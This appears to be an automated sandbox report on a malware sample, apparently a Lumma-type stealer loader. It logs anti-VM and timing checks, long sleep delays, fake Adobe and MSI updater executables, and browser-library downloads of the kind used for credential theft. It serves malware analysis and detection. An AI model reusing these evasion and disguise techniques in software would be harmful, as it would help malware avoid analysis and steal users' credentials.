Source: C:\Users\user\AppData\Local\Temp\7zSCCDB.tmp\Install.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Code function: 5_2_0039400F rdtsc

5_2_0039400F

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window / User API: threadDelayed 3037

Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\mousehelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-DFDEG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-LVG3G.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\CBFIIEHJDBKJ\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp140_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcp120.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-7F9NL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Dropped PE file which has not been started: C:\ProgramData\KJKKKJJJKJKF\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\msvcr120.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-CASGE.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Xml.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\lumma2305[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Dropped PE file which has not been started: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Dropped PE file which has not been started: C:\ProgramData\KJKKKJJJKJKF\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-1D8SM.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-VPC2O.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-K7SUJ.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\openh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-4DGK2.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\sqls[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Dropped PE file which has not been started: C:\ProgramData\KJKKKJJJKJKF\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-790KC.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\AdobeUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-3CSIJ.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\CBFIIEHJDBKJ\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-O7QHE.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\CBFIIEHJDBKJ\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\avdevice-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5WinExtras.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-B5CET.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\QtAVWidgets1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-C3O1M.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\libmp3lame.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lumma2305[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma2305[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\span3thb7smxRnGc\kvTtAU2MzY2s2DUs95B8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-FUCPU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-RQFDB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Svg.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Dropped PE file which has not been started: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-4ENJ7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\BI6oo9z4In.exe TID: 7048	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe TID: 6884	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe TID: 6884	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe TID: 4308	Thread sleep count: 220 > 30	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe TID: 4308	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe TID: 6884	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe TID: 5476	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe TID: 416	Thread sleep count: 84 > 30	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe TID: 416	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe TID: 8968	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe TID: 1004	Thread sleep count: 164 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 5012	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7268	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp TID: 7404	Thread sleep time: -2436000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7840	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7004	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe

File opened: PhysicalDrive0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00181F9C FindFirstFileExW,GetLastError,	5_2_00181F9C
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Code function: 5_2_00181FBC FindFirstFileExW,	5_2_00181FBC
Source: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe	Code function: 6_2_00674253 FindFirstFileExW,	6_2_00674253

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user\AppData
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: mqno7fOpkNXkRXNi1WQAv6HN.exe, 00000010.00000002.2213595235.0000000140CE7000.00000020.00000001.01000000.00000012.sdmp	Binary or memory string: hgFSu
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: 0TN7dY_Xsg2P0AdS9Hdzos_q.exe, 0000000D.00000002.2286384754.000001F7DDCF6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn.8
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: vmware
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: _vgILobA0xXbWeowDxO5iZdo.exe, 0000000B.00000002.2427239948.00000000010C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{
Source: H61tUtaRHb9b8i2Ptr3ABL5b.exe, 0000000A.00000002.2106308723.0000000000CB8000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
